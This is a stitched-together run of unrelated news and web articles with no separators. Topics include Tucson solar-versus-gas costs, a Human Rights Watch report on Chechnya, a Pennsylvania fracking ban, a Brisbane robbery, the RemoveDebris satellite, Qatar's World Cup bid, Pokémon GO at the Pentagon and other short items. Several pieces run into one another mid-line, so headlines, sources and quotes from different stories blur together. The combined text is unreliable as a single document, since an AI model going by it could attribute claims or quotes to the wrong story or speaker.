Cutting that single line out, we have a remarkably different picture. Now solar at 11.1¢ per kWh is competitive with the proposed natural gas plants at 8.8-11.9¢. Keep in mind that almost all the solar costs are upfront and that fuel costs are a guaranteed zero, whereas any volatility in natural gas prices will be passed through to ratepayers. See below for a retrospective on natural gas price volatility (with Energy Information Administration price forecasts) and solar price volatility. The irony is that TEP is completely upfront about a forecast doubling of gas prices by the end of the 15-year planning horizon (p295), but since those costs pass through to ratepayers…
Natural gas price volatility
Solar price volatility
The solar cost hijinks don’t stop with backup and integration costs.
A price of 11.1¢ seems more reasonable, but compare it to the System Advisor Model from the National Renewable Energy Laboratory. This software package models the solar resource and cost for the entire country, and its default values incorporate years of data tracking on solar costs. Not including any incentives, and with a capital cost that’s 15% higher (per Watt) than the $1.99 used by TEP, the model spits out a levelized cost for solar of 7¢ per kilowatt-hour. Throw in the federal 30% tax incentive and the model suggests that the breakeven price for a 1 megawatt solar array in Tucson is 4.5¢ per kilowatt-hour, 60% lower than TEP’s figure!
But don’t rely on cost modeling. Five years ago, Pima County signed a power purchase agreement for a solar array at the Roger Road Wastewater Reclamation Facility for just under 10¢ per kWh. It has another contract for the 5 MW Prairie Fire Solar Plant to buy electricity for 9.3¢ per kWh. In 2014, Chief Contracts & Procurement Manager Terry Finefrock says the county signed another purchase agreement for solar on its operations center at Green Valley for 5.7¢ per kWh (which compares to the the 4.5¢ figure from the model above plus a small margin). In other words, Tucson residents and businesses can already buy solar for one-third the cost the utility suggests in its official resource plan!
The following chart illustrates the remarkable gap between the utility’s solar cost estimate and the real world cost. (graphic updated to correct the name of the solar project supplying low-cost power. It’s Green Valley, not PECOC).
By now, it should be clear how utilities make solar look expensive. They obfuscate, they hid behind “grid stability” and “variability,” they exaggerate.
But why?
Like many incumbent monopolies, TEP sees its business model about to founder on the rocks of distributed power. Conservation and energy efficiency are reducing revenues. Distributed solar is giving customers unprecedented opportunity to diversify their energy supply, undercutting sales and demand for new power plants (the latter is the revenue and profit lifeline for shareholder-owned utilities). The impending fiscal crisis is the result of a utility regulatory system that pays TEP to play the wrong game. TEP can’t maintain profits for its shareholders if its customers can slip from the monopoly grasp.
But rather than explore business models compatible with low-cost solar, TEP implies that solar is too costly and doubles down on last century’s business model. Their resource plan will commit billions of dollars to new fossil fuel infrastructure that will take decades for Tucson customers to repay. It will require approximately 1.7 billion gallons of water per year for new natural gas power production. And finally, it will undermine the city’s hope to reach net zero greenhouse gas emissions by 2040 because the new power plants will be operated until 2070 or beyond.
There’s almost no place in America where solar is cheaper than in Tucson, but its electric utility seems poised to deliberately ignore the opportunity for clean, local, and cost-effective energy production. And we know why.
This article originally posted at ilsr.org. For timely updates, follow John Farrell on Twitter or get the Democratic Energy weekly update.
Photo credit: Pieter Morlion via Flickr (CC BY-NC-ND 2.0 license)
Assumptions for System Advisor Model(Moscow) – Local authorities are trying to silence even the mildest critics in advance of the September 18, 2016 election for the head, or governor, of Chechnya, Human Rights Watch said in a report released today. “Like Walking a Minefield” Vicious Crackdown on Critics in Russia’s Chechen Republic Download the full report
Download the full report Download the report in Russian
The 56-page report, “‘Like Walking a Minefield’: Vicious Crackdown on Critics in Russia’s Chechen Republic,” describes how local authorities punish and humiliate people who show dissatisfaction with or seem reluctant to applaud the Chechen leadership and its policies. The report also details increasing threats, assaults, and detention of journalists and human rights defenders.
“Chechen authorities are tyrannizing critics and anyone whose total loyalty to the local leadership they think is questionable,” said Tanya Lokshina, Russia program director at Human Rights Watch. “Under the circumstances it’s very difficult to see how the election in Chechnya can be free and fair.”
The Kremlin appointed the current leader of Chechnya, Ramzan Kadyrov, in 2007 after a protracted and bloody separatist armed conflict followed by years of Russia's abusive counter-insurgency. The September 18 election will be the first time Kadyrov’s authority will be put to a direct popular vote.
The local authorities’ severe and sweeping crackdown seems designed to remind the Chechen public of Kadyrov’s total control and to contain the flow of any negative information from Chechnya that could undermine the Kremlin’s support for Kadyrov, Human Rights Watch found. Even the mildest comments contradicting local policies or government ideas can trigger ruthless reprisals – |
Sunday’s murders. Murphy also took umbrage at Kentucky Gov. Matt Bevin, who tweeted, “To all those political opportunists who are seizing on the tragedy in Las Vegas to call for more gun regs…You can’t regulate evil.” Murphy responded to Bevin by tweeting, “I await your proposal to rescind Kentucky’s laws banning assault, murder and arson. One of government’s core functions is to regulate evil.”
Murphy then took to the pages of the Washington Post with an op-ed column that pronounced the “response to regular mass slaughter has been, quite frankly, uniquely un-American.” Murphy also claimed that gun control was not a controversial subject. “The gun lobby, and the loud vocal minority it echoes, make the issue seem like more of a hot button than it is,” he wrote in the op-ed.
In comparison, Murphy’s colleague U.S. Sen. Richard Blumenthal repeated his call for gun control legislation with much less incendiary language.
“It has been barely a year since what was previously the largest mass shooting in American history – the deadly attack at Pulse nightclub (in Orlando),” he said in a statement. “In the interim, thousands more have been lost to the daily, ruthless toll of gun violence. Still, Congress refuses to act. I am more than frustrated, I am furious.”Gov. Tom Wolf plans to ban new fracking in Pennsylvania parks, forests
Pennsylvania Gov. Tom Wolf signs the Gift Ban, his first executive order inside of the Capitol in Harrisburg, on Jan. 20, 2015. Wolf earlier in the day took the oath of office to become the 47th governor of Pennsylvania. The Gift Ban applies to all political appointees and state workers under his jurisdiction and also includes a requirement that all private legal contracts go out to bid.
(AP File Photo)
Gov. Tom Wolf plans to sign an executive order ending a short-lived effort by his predecessor to expand the extraction of natural gas from rock buried deep below Pennsylvania's state parks and forests, his office said Wednesday.
Following through on a campaign pledge, Wolf will sign the order restoring a moratorium on new drilling leases involving public lands on Thursday at Benjamin Rush State Park in northeast Philadelphia.
A hydraulic fracturing, or fracking, natural gas extraction site is shown Jan. 17, 2013, in New Milford, Pennsylvania.
It will supersede an order that Republican Gov. Tom Corbett signed in May and reinstate the ban that former Gov. Ed Rendell, a Democrat, instituted in 2010.
Environmentalists praised the action, saying it reflects the new Democratic governor's support for strong environmental regulation.
"Pennsylvanians from every walk of life will applaud this announcement," said David Masur, director of Philadelphia-based PennEnvironment.
The Marcellus Shale Coalition, an industry trade group, sharply criticized the governor.
"This deeply misguided and purely political action to unnecessarily ban the safe and tightly-regulated development of natural gas from beneath taxpayer-owned lands flies in the face of common sense," said the coalition's president, Dave Spigelmyer.
Corbett's order authorized state officials to negotiate new leases for hydraulic fracturing, or fracking, gas extraction through horizontal wells drilled from adjacent, privately owned land or areas previously leased for drilling in state forests. It barred drilling-related construction that disturbs the surface of public lands, but that was not enough to quell criticism from critics concerned about the impact.
The new leases, which Corbett hoped would generate tens of millions of dollars to help balance the state budget, were put on hold in a deal with the Pennsylvania Environmental Defense Foundation pending the resolution of its 2012 lawsuit seeking to block them.
The state Commonwealth Court sided with the Corbett administration in a decision earlier this month. It upheld the government's right to lease more public lands for natural gas and oil drilling, and the diversion of rent and royalty payments from a land conservation fund to other programs.
Since the first leases for drilling on the Marcellus Shale formation were sold in 2008, hundreds of millions of dollars of that revenue has been tapped to shore up the state's operating budgets under Corbett and Rendell.
John Childe Jr., the foundation's lawyer, said the group is "very grateful" for Wolf's expected action.
The foundation will continue to press an appeal on its argument that the leasing violates a state constitutional provision that says public natural resources are "the common property of all the people including generations yet to come" and that the state's role is to conserve and maintain them, Childe said.
"We need to get some clarity on the meaning of the public trust," he said.
Wolf also campaigned on a pledge to seek legislative approval for a 5 percent extraction tax on natural gas to raise additional revenue for public schools and other programs.A man has been left bruised and his siblings shaken after a gang broke into their home and robbed them.
Nick Budden, brother Josh and sister Chloe were at their home in Thornlands, in Brisbane's east-south-east, when the gang stormed their home Wednesday night.
"They just came at me and I was absolutely terrified, I didn't know what to do," Nick said.
"They terrorised my sister, I came downstairs, they came for me," Josh added.
"They terrorised my sister, I came downstairs, they came for me." (9NEWS) ()
"The whole time they were yelling, where are your valuables, where are your car keys."
Mr Budden and his brother attempted to fight back but were outnumbered.
The gang – compared by police to a "pack of wild dogs" – managed to escape with a number of the family's valuables, including Josh's car.
It's believed the gang could have also been involved in the sexual assault and robbery of a woman in a Sunnybank carpark, also on Wednesday.
The gang – compared by police to a "pack of wild dogs" – managed to escape with a number of the family's valuables, including Josh's car. (9NEWS) ()
Police fear the group may have been high on a dangerous stimulant known as khat, which originates in Africa.
Two men have been arrested over the Sunnybank attack, while those who terrorised the Buddens remain on the run.
Anyone with any information is urged to contact Crime Stoppers on 1800 333 000.
© Nine Digital Pty Ltd 2019Again the Sharks have come through round two of the Telstra Premiership in relatively good shape as far as injuries are concerned, with skipper Paul Gallen still the only player from the NRL squad set to be missing for an extended period of time.
Gallen rushed from the launch of the Sharks Make Bullying History Initiative on Tuesday to attend an appointment with a knee specialist, with the reports being positive as to his potential return.
After surgery was needed for a cartilage cleanout and for repair to his meniscus, Gallen was looking towards four to five weeks out of the game, with his specialist virtually confirming that prognosis at their meeting earlier this week.
As mentioned by Coach Shane Flanagan however at a press conference last Friday, Gallen will leave no stone unturned in regards to his rehabilitation and an earlier return to the playing arena is certainly not out of the question.
In other Sharks injury news, hooker/utility Matt McIlwrick received an accidental poke in the eye in the Jets Intrust Super Premiership match against the Newcastle Knights.
With some bleeding behind the eye and due to the sensitive nature of the injury, McIlwrick was kept out of the Jets team to travel to Auckland to take on the Warriors this weekend.
And McIlwrick’s Sharks and Newtown teammate Kurt Capewell also succumbed to injury in the Jets win over the Knights, limping from the field with a knee problem in the 37th minute of the match.
While fears were held as to the extent of the injury, Capewell received good news following scans conducted at Southern Radiology where it was revealed the former Ipswich Jet to have suffered only minor damage.
Like McIlwrick, Capewell will miss the New Zealand trip but is expected to be available the following weekend.
The Sharks NRL squad reported no major injury concerns from the Sunday afternoon local derby match against the Dragons.On the face of it, the conflict in Ukraine seems to have stabilised somewhat. Sporadic shelling aside, the last few months of 2015 saw the “hot” phase of the conflict in eastern Ukraine wind down to a relative calm.
Both parties’ forces have been slowly withdrawing in accordance with the latest ceasefire agreement, and while there were some isolated clashes between the opposing parties over the Christmas period, they haven’t derailed the current plans. Indeed, German Chancellor Angela Merkel remains optimsitic about achieving progress in the negotiations.
Meanwhile, Russia’s military attention seems now to be mostly devoted to its military intervention in Syria and the tensions that’s caused with other countries, particularly Turkey.
But it’s easy to forget how serious the situation still is. After all, this conflict has killed more than 9,000 people – and the tension between Ukraine and Russia remains palpable.
Ukraine has blamed Russia for recent cyber attacks against a key Ukrainian power company late last month. This comes amid an ongoing feud between Moscow and Kiev over Ukraine’s outstanding $3 billion Eurobond, which it insists cannot be repaid in full.
Western capitals have continued to place the blame solely on Moscow’s doorstep for destabilising eastern Ukraine in order to alter the landscape of Europe. Supreme Allied Commander for Europe, General Breedlove, has called this “a 21st-century offensive employing 21st-century tools for strategic deception and calculated ambiguity to achieve Moscow’s political goals”.
Russia’s Foreign Minister, Sergey Lavrov, has declared that “We do not pursue any evil intentions and we are still open for honest conversation”. In comparison, President Putin has been accused of remarking that Russia could take Kiev in two weeks if it wanted to.
For many observers these contradictions point towards the inherent duplicity in Russia’s behaviour, as it seeks to deliver mixed messages in order to facilitate Moscow’s malevolent aims.
Yet with Moscow’s support for the opposition forces coinciding with its engagement in the peace effort, has this signalled a complexity underpinning Russia’s behaviour which has not readily been accounted for by Western capitals?
A paradoxical policy
The long-running crisis has fallen into a cycle of escalation and de-escalation, and Moscow’s role in it is as complicated as ever.
On the one hand, Moscow has provided support to fighters in the eastern regions since July 2014, whether they be on the offensive or at the brink of defeat. That decision to support the use of force in violation of Ukraine’s sovereignty is fundamentally politically motivated, and to the extent Russia has acknowledged its role, there has been little pretence otherwise.
This is a new low even by the standards of Putin’s past behaviour. In the 2008 intervention in South Ossetia, for instance, the Kremlin at least tried to legitimise its policy with reference to international law, instead of sticking to brazen denial and obfuscation – although Putin has recently admitted that military specialists have been involved in eastern Ukraine.
Russia’s response has also been linked to its reservations about the spread of instability. While it may be little more than a useful smokescreen for Russia’s more obstructionist behaviour, the Kremlin has made at least some effort to help mitigate the humanitarian crisis.
Russia has continued to participate in the framework of the OSCE’s Special Monitoring Mission to Ukraine (SMM); it’s been a central actor (albeit controversially) in the delivery of humanitarian aid in accordance with the ICRC (International Committee of the Red Cross), has accommodated mass refugee flows, and has agreed alongside other powers in the settlement process to promote post-conflict reconstruction efforts in Ukraine’s eastern regions.
However, there are limits to this acceptance. Moscow continues to refuse to accept the expansion of the SMM’s capacity of observation along the Russian-Ukrainian border. It also consistently opposes the establishment of an international peacekeeping mission, which would inevitably interfere with its military support for the opposition.
Diplomatic steps
Throughout the diplomatic processes in Geneva and Minsk, Moscow doggedly tried to gain as much leverage as it could for the opposition forces. And despite the West’s worry that the Kremlin may obstruct a new settlement to preserve its influence over the region, this has not ruled out a new negotiated settlement – but Russia clearly intends to be a central actor in any such agreement.
Moscow wants a settlement in Ukraine that takes its own interests into consideration. Its preference is evidently for a federation of Ukraine via a compromised solution between Kiev and the eastern regions.
Moscow’s behaviour will always be guided by a complex array of legitimate security interests, guaranteeing involvement in political or security negotiations concerning its immediate regional space. What’s certain is that the Kremlin doesn’t want instability along its border, particularly as Ukraine is a potentially huge economic market for Russia (and not least a customer for Gazprom).
Indeed, Russia has remained alert to the consequences of pushing Ukraine into a new spiral of violence. But this doesn’t mean that the potential for future conflict has been eradicated – or that Ukraine is any less wary of Russia’s intentions.Missed our Kickstarter? Come visit us at www.signingtime.com where all of our products are available!
Don't miss a Signing Time Live Concert near you, a future Kickstarter campaign or one of our great sales- Join our mailing list today!
For updates and to see what's going on behind the scenes in the Coleman Family, follow Rachel on Facebook and on twitter.
For the latest and greatest Two Little Hands Productions updates, products, activity guides and to receive the Sign of the Week follow Signing Time on Facebook and on twitter.
Thank you for believing in us and thank you for signing with us!
~Rachel & Leah Coleman
**Did you know you can always make a difference with a donation of any size to The Signing Time Foundation, a 501 c 3 non-profit organization? The Signing Time Foundation is committed to putting communication in the hands of all children of all abilities.
The Signing Time Foundation: 870 East North Union Ave., Midvale, UT, 84047 or donate via Paypal to the following address: [email protected]
*Rewards are not included with donations to the Foundation. The IRS gives you the "Reward" called a write-off:)
______________________________________________________________
You’ve grown up with Signing Time. Now, Signing Time is growing up with you!
The #1 request from Signing Time families has been,
“Teach us ASL sentences and grammar!”
You’ve asked for more. With Kickstarter we can make more together!
When our funding goal is reached, we will develop this NEW series and we will create and deliver the first volume!
Put your signs together into sentences
Learn how ASL sentence structure differs from English
Gain the confidence to have real conversations
Bring back Rachel, Alex, & Leah
The next signing step for children, teens, and families
Music and fun - just like you'd expect!
Delivered on DVD, and delivered digitally on Platform Purple or Backer-Only mp4!
For each person who backs this project, we’ll donate a sign language book to a family who has a deaf infant, so they can start communicating right away! #feelgood
Stretch Goals
Reaching a stretch goal unlocks production on an additional volume in this Series! BONUS: Backers with a pledge of $30 or more will receive a digital download of EACH volume funded by this campaign without changing their pledge! #moreforless
Each unlocked Volume will also unlock NEW Rewards and NEW filming locations! #goldengatecity
How Kickstarter Works: ***If we do not hit $100,000, you won't be charged, we don't get a dime, Volume 1 will not be made, and you won't receive Rewards***
Rewards
Make a pledge and choose your reward.
The Backer-Pack: Includes The Alex & Leah Selfie print, Alex & Leah Signing Time Sentences Video Diaries, and YOUR name on the Backer Hall of Fame webpage, and any other Backer-Exclusives we throw in.
Backer Hall of Fame - We will be creating a special place on our website to honor our backers! Without you, this new series wouldn’t be possible. You'll provide us with a name: yours, your child's, or your family name. We'll do the rest. Your contribution will live on and on and on!
Get Involved
Pledge early!
Show your support by sharing this campaign on social media. There's a SHARE button right below the video.
Watch for Rachel to retweet your tweets!
As a general rule LIKE and SHARE everything you see about us on Facebook. Your reach, expands our reach.
Invite your friends and family to join your efforts.
Use the hashtag #moresigning to show your support and spread the word on social media.
to show your support and spread the word on social media. Email your friends.
Follow this campaign on Facebook: www.facebook.com/SigningTimeRachel
Follow this campaign on Twitter and Instagram: ST_Rachel
The Sky Is The Limit
Kickstarter limits our Reward offerings to $10,000. BUT if you would like to contribute more than that, you wouldn't be the first! Please contact me directly for information about our 501(c)3. ~Rachel ColemanLONDON — RemoveDebris, a space-junk-wrangling spacecraft once slated to hitch a ride to the International Space Station with SpaceX in June, won’t launch until the end of 2017 or early 2018 to allow additional NASA safety reviews, according to the European project’s manager.
The 100-kilogram spacecraft, developed by a consortium of 10 European companies including Airbus Defense and Space and Surrey Satellite Technology Ltd., would be the largest and heaviest satellite deployed from the ISS.
“Nothing of this size has ever been launched from the ISS before,” said Jason Forshaw, RemoveDebris project manager at the University of Surrey’s Surrey Space Centre, which leads the consortium.
“Most of the things they are launching from there are cubesats, much smaller objects, 10 [kilograms] or so,” Forshaw said. “As you can imagine, we are progressing through the safety reviews and we are just going through those at the moment.”
Developed as part of a 15.2 million-euro ($17 million) project funded by the European Union, the RemoveDebris team signed a launch contract in September with NanoRacks, a Houston-based company specialized in deploying small satellites from the ISS. As it stands, the RemoveDebris spacecraft will hitch a ride to ISS aboard either the SpaceX CSR-13 or CSR-14 cargo resupply mission, targeted for late 2017 and early 2018, respectively.
The RemoveDebris will use a harpoon and net to demonstrate active removal of orbital debris. The main spacecraft will deploy two smaller cubesats, one of which will be captured by a net. However, the net will not be tethered to the main craft as it would be in a real-life scenario, due to safety concerns.
“The cubesat could bounce back and hit your main satellite, so for this mission, because it’s a demonstration, we got rid of the tether,” explained Forshaw.
The team will use a second cubesat to test vision-based navigation technologies for rendezvous in space, including a Lidar system and an optical camera. Afterwards, a boom with a fixed plate will extend from the main spacecraft and a harpoon will be fired into it.
“At the moment there are a lot of legal issues around capturing other people’s debris,” said Forshaw. “You can’t just go up there and capture someone else’s debris. That’s why for this mission we are actually ejecting our own little cubesats.”
At the end, the main platform will deploy a dragsail that will bring it to atmospheric re-entry within two years. The two cubesats used in the experiment will deorbit within a few months, Forshaw said.
The RemoveDebris project has no funding beyond the upcoming in-orbit experiment but the results are expected to inform the design of the European Space Agency’s e.Deorbit mission, which will attempt to remove the defunct remote-sensing satellite Envisat from low Earth orbit around 2023.
“Airbus UK and Airbus Germany have already started producing larger versions of these technologies to use on a much bigger mission, which are based on the technology developed for RemoveDebris,” said Forshaw.
Even though the experiment is the first of its kind, Forshaw believes that the development of active debris removal technology is progressing fast and will enable practical applications within years. However, he said, legal framework lags behind technology development and will likely hinder practical applications.
“There is no legal framework in place that would allow operators to go into space and remove other people’s debris,” said Forshaw. “ESA can do that because they own Envisat but if you wanted to remove, for example, a Russian object, there are no agreements in place.”As a service to our readers, Around the Rings will provide verbatim texts of selected press releases issued by Olympic-related organizations, federations, businesses and sponsors.
These press releases appear as sent to Around the Rings and are not edited for spelling, grammar or punctuation.
20 Years at #1: Your best source of news about the Olympics is www.aroundtherings.com, for subscribers only
THIS week the world should be watching Brazil, yet once again the focus will turn to Qatar as the media continues to attack FIFA’s decision to award our country the World Cup in 2022.When Qatar first contemplated a bid for the World Cup, we knew that no Arab nation had experienced the privilege of hosting this great sporting event, despite our deep passion for football.We believed a World Cup in Qatar would provide an opportunity to confound stereotypes, break down cultural barriers and give the rest of the world a better understanding of the Arab nations and the Middle East.Sadly, at this point, that has not been allowed to happen.This weekend we expect further attacks on Qatar and our successful bid to host the World Cup in 2022. These allegations are baseless and riddled with innuendo designed to tarnish the reputation of Qatar’s 2022 Bid Committee.The constant stream of allegations that have been released to media outlets on the cusp of our interviews with the Chairman of FIFA’s Ethics Committee Investigative Chamber do not implicate our bid. They are instead a series of tenuous links that attempt to assume guilt by association.The timing of the release of these allegations is no accident, falling in the same week as our interviews with Michael Garcia and a week before meetings of the FIFA Executive Committee and the 2014 FIFA Congress in Brazil. This has become a pattern prior to important dates in the FIFA calendar.It should be clear that these leaks are not an attempt to shine light on the 2018/2022 bidding process. They are, instead, a flagrant attempt to prejudice an ongoing independent investigation. Certainly, if the source of these leaks were genuinely concerned with the evidence, they would have provided the leaked documents to Mr Garcia, as he requested, instead of offering them to the media.Fair investigations work under the assumption that parties are innocent until proven guilty. But while Qatar’s bid committee has honoured Mr Garcia’s request to let the process run its course, our right to a fair hearing has been compromised by certain parties trying to influence Mr Garcia's investigation.We have fully co-operated in a completely open and transparent manner with FIFA’s independent Ethics Committee investigation into the bidding process. Our officials complied with requests to be interviewed and with all requests for documentation and answers. We have nothing to hide.The fact is, aggressive marketing has been an integral part of every successful bid to host a major international sporting event. The Qatari bid team expected the competition to be fierce, and knowing that we weren’t a key player in the football world, we knew we had to work harder than anyone else for our bid to succeed. We knocked on more doors, made more phone calls and took more meetings than our competitors. We travelled the world explaining in vivid detail why, in our view, a World Cup in Qatar made more sense than anywhere else.But in every aspect of the 2018/2022 FIFA World Cup bidding process, we strictly adhered to FIFA’s rules and regulations.This extended to our relationship with then Asian Football Confederation President and FIFA Executive Committee member Mohammed Bin Hammam, whose name has repeatedly been mentioned in the press in connection with our bid during his own attempt to secure the FIFA Presidency. But let us be clear: Mr. Bin Hammam is from Qatar, but he was not a member of Qatar’s bid team.In fact, we have never denied we had a relationship with Mr Bin Hammam. As a member of the football world and as member of Qatari society, he often crossed paths with influential Qatari citizens, including members of our bid team.Further, because Mr Bin Hammam was a member of the Executive Committee, we had to present our plans to him and convince him that our bid was the right choice for the 2022 FIFA World Cup. And as Mr Bin Hammam was also Confederation President and a voting member, it was important for us to maintain a working relationship with him. None of this was improper. We hoped, of course that Mr Bin Hammam would support our bid. But we hoped for the same from every Executive Committee member.When we first launched our bid, we were considered rank outsiders. Aware that we faced unique challenges, we refused to shy away from any of these. Instead we focused on transforming these obstacles into opportunities. We believed in our own capabilities, using the confidence gained from hosting past events, such as the 1995 Youth World Cup and 2011 Asian Cup.At a time when differences are rampant, where conflict is in the headlines, we wanted this World Cup to be an opportunity to bring people together. It began in the bid. Different people from different countries and regions joined in that vision.We developed cooling technology to cope with the climate of the Middle East, technology that would prove enormously valuable for nations in similar climates around the world.Fully aware of Qatar’s small size as a country, we pledged to build stadiums with modular components, ensuring that our stadiums were fit for purpose beyond 2022 for Qatar’s requirements. We promised to donate the 170,000 seats that will be removed after the tournament to nations in need of sporting infrastructure.Noting challenges of previous World Cup locations, we promoted the fact that the proximity of venues would make the tournament in Qatar the first compact World Cup.Finally, and most importantly, we pledged that this tournament would be a catalyst for accelerating improvement in our nation and the region. One example of this is our comprehensive engagement on the issues we face in regard to labour. We implemented worker welfare standards. This is spurring change and engagement. These improvements will, and are, fostering other changes in Qatar that are long term and sustainable and are not just focussed on the spotlight of 2022.The 2022 World Cup is not simply a proposal or an idea. With eight years to go it is a tournament being brought to life right now by people working towards the development of an amazing World Cup. We do this with the dream of welcoming football fans from all corners of the world to Qatar for the Middle East’s first FIFA World Cup in 2022. We are already constructing three stadiums and by the end of the year two more will be in development. Our country has demonstrated its support, spending more than $23 billion on transport infrastructure projects alone. And to be clear - we will do this as we advance worker welfare within Qatar.The people of Qatar are making this commitment with the dream of welcoming football fans from all corners of the world to our country for the Middle East’s first World Cup. We believe there is no reason that dream should not come true in 2022.You know this Pokémon GO thing may have gotten out of hand when the government’s getting involved–or not getting involved, as the case may be.
Workers and contractors at the Pentagon received a memo last month which alerted staffers that Pokémon GO was not to be downloaded and played on phones within any U.S. Defense Department facility. The fear is that the app’s data usage could also be utilized to access sensitive information or “provide pinpoint accuracy on the locations of rooms and other sensitive facilities,” according to the Washington Times.
Since part of Pokémon GO involves using the phone’s inner GPS to track the player’s location and spawns virtual Pokémon accordingly, it’s not a completely unfounded fear. While the app itself originally collected larger amounts of data, a later update limited the amount of data that game developer Niantic could have access to.
Initially, there had also been a Pokémon gym located within the Pentagon as well as the White House. The gym at the Pentagon was eventually removed, but it’s being reported that the battle for the White House gym still continues to rage on amongst Pokémon trainers.
—The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—
Follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google+.AP — Partial official results from France’s second-round parliamentary elections show President Emmanuel Macron’s centrist party with a clear lead over the country’s traditional right-wing and leftist parties.
With 57 percent of votes counted, the Interior Ministry said Sunday that Macron’s Republic on the Move! party had won 41 percent of the vote, followed by the conservative Republicans with 23 percent. The ministry said the National Front was in third place with nearly 10 percent followed by the Socialists with 6.2 percent.
Pollsters project that Macron’s party and its allies won a clear majority in the National Assembly, the powerful lower house.
Many candidates in his party joined only after Macron won the presidency in May.
BREAKING #Macron's En Marche movement gets 355 seats in National Assembly according to first polls as voting closes. MUCH less than expected — Stuart Norval (@StuartNorval) June 18, 2017
BREAKING National Front expected to get 8 seats (far more than expected). — Stuart Norval (@StuartNorval) June 18, 2017
More followsSam Barsky came to knitting by chance, perhaps a divine one: it was 1999, he’d recently dropped out of nursing school due to medical issues, and he was searching for a new purpose. He came across a yarn shop, fulfilled a longtime dream of taking an introductory knitting class, and, well, followed that thread. (Sorry.)
Barsky loved to knit, but the first sweaters he made – ordinary patterns with ordinary results – weren’t enough. He tried the most complex design he could find, “a pattern of a sweater that looks like a map of the world,” he said. It was challenging, but he persevered; once the final stitch was in place, he looked on his work and, like God on the seventh day, thought it good.
Unlike God, it wasn’t long before Barsky thought he might be able to do something better.
Courtesy of Sam Barsky Barsky at the Western Wall, wearing his handmade sweater to match. Share
Pinterest
Email
“I was looking at the cloudy sky which was blue and white,” he told the Forward, shortly after a series of sweaters he’d made to match places he visited – Golden Gate Bridge, Times Square, etc – rocketed to viral fame on January 8, appearing in outlets from the Los Angeles Times to Refinery29. “I was thinking about making a sweater that was like the cloudy sky and adding other elements of nature to it.”
No pattern? No problem.
“I started with the back and made a very tall waterfall,” he said. “On the front I made a picture of a river with a covered bridge over it, and rapids, and a water wheel, and it was topped with the cloudy sky.”
It was (ahem) a watershed moment.
Barsky started knitting sweater after sweater, eschewing patterns, inspired by the landscapes of the world around him. And then, in 2001, he realized it might be nice to turn his attention to the Jewish holidays he loved.
“I did a Sukkot sweater, and then followed up that with a Hanukkah sweater a few months later,” he said. “I did a Pesach sweater the next year after that. I made at least one for every Jewish holiday.”
“Some of the longer holidays I made two or three for,” he admitted.
Fascinated, his interviewer asked if he’d made a Yom Kippur sweater.
Courtesy of Sam Barsky Share
Pinterest
Email
“Since I’m a kohein, the front of it has the priestly garment, the breast plate, and the back has the Hamikdash on it,” he said. His favorites are his Hanukkah sweaters, but he likes to dress for each holiday.
He’s also knit sweaters paying tribute to landmarks in Israel, from the Western Wall to the Ein Gedi nature reserve. At the moment, though, his interests are distinctly American; he’s working on a sweater featuring the fictional, animated rhythm-and-blues group the California Raisins, and one for Martin Luther King Jr. Day.
Thinking of the gift to end all gifts – her father does harbor an inordinate love for the California Raisins – Barsky’s correspondent wondered if he ever made sweaters for family or friends.
His response turned melancholy, woven through with regret. He hopes to secure an agent to help turn his passion into a viable business.
“I have fans all over the world who want them desperately, but the problem is it takes me an average of a month to make one,” he said.
“I can’t become a human sweater mill,” he said.
This story "Sam Barsky, Knitter Behind Viral Sweaters, Has One For Every Jewish Holiday" was written by Talya Zax.Fox News’s "The O'Reilly Factor" has beaten NBC's "Celebrity Apprentice" in three straight weeks, according to Nielsen data, even though Bill O’Reilly’s show is on cable and “Apprentice” is on broadcast TV.
Monday’s edition of “The Factor” registered 4.5 million total viewers, while the rebooted "Celebrity Apprentice," starring Arnold Schwarzenegger, clocked in with 3.5 million viewers.
O'Reilly's program on Monday featured a long interview with President Trump, who starred in "Apprentice" for more than a decade prior to entering politics.
ADVERTISEMENT
O’Reilly also beat “Apprentice” the previous two Mondays without Trump as a guest.
On Jan. 30, O’Reilly delivered 4.4 million viewers, topping the 3.7 million for “Apprentice.”
On Jan. 23, Fox's show averaged 5 million viewers, while “Apprentice” got 3.9 million.
Trump has mocked the lower ratings for the new version of “Apprentice” in tweets and speeches, even though he still retains an executive producer credit on the show.
“When I ran for president, I had to leave the show,” Trump said at the annual National Prayer Breakfast in Washington last week. “They hired a big, big movie star Arnold Schwarzenegger to take my place and we know how that turned out. The ratings went right down the tubes.”
Schwarzenegger, 69, responded in a Twitter video suggesting he and the president "switch jobs."
"Hey Donald I have a great idea. Why don’t we switch jobs? You take over TV, because you’re such an expert in ratings, and I take over your job," said Schwarzenegger in a video. "And then people can finally sleep comfortable again. Hmm?"
Schwarzenegger was a two-term governor of California from 2003 to 2011.A Virginia man is due to appear before a Grand Jury in February having been caught in his neighbour's garden while drunk, armed, wearing a camouflage mask and carrying "a suspicious bag of bacon".
Suspicious bacon: Evan Cater poses for Amherst County cops
Evan Patrick Cater, 31, of Madison Heights, was cuffed last October when officers discovered him "hiding behind a dog kennel on a neighbor’s property around 10 p.m. Oct. 18 after the property owner heard his dogs barking and went to investigate", as the the local News & Advance explains.
According to Amherst County Sheriff's Office, Cater was "intoxicated and in possession of a firearm" - a 9mm pistol - and also "in possession of bacon covered in an unknown substance".
He's charged with "felony wearing a mask in public, misdemeanor trespassing, public intoxication and carrying a gun while intoxicated", the News & Advance reports, but there are no further details on just how suspicious the bacon turned out to be.
However, neighbour Bobby Wood - on whose property Cater was cuffed - told an Amherst County judge earlier this week that his wife had "previously reported Cater to authorities because Cater was shooting a firearm in his backyard".
It's possible, then, that a disgruntled Cater intended the suspicious bacon for Woods' dogs, and the County Sheriff's report indeed notes that Woods and his missus were "monitoring the animals for any potential poisoning".
Of course, a true bacon lover would describe the American variety as "suspicious", even were it not served up coated in an unknown substance by a tooled-up masked man with a few liveners under his belt. ®
Bootnote
That the original cuffing slipped under the El Reg bacon news radar is frankly remarkable. However, it's a tip of the hat to occasional Vulture Central contributor Michael Moran - who has a keen nose for such things - for flagging up the latest development.Troon Winemakers Dinner at Silcox Hut
Thursday, February 28, 2019
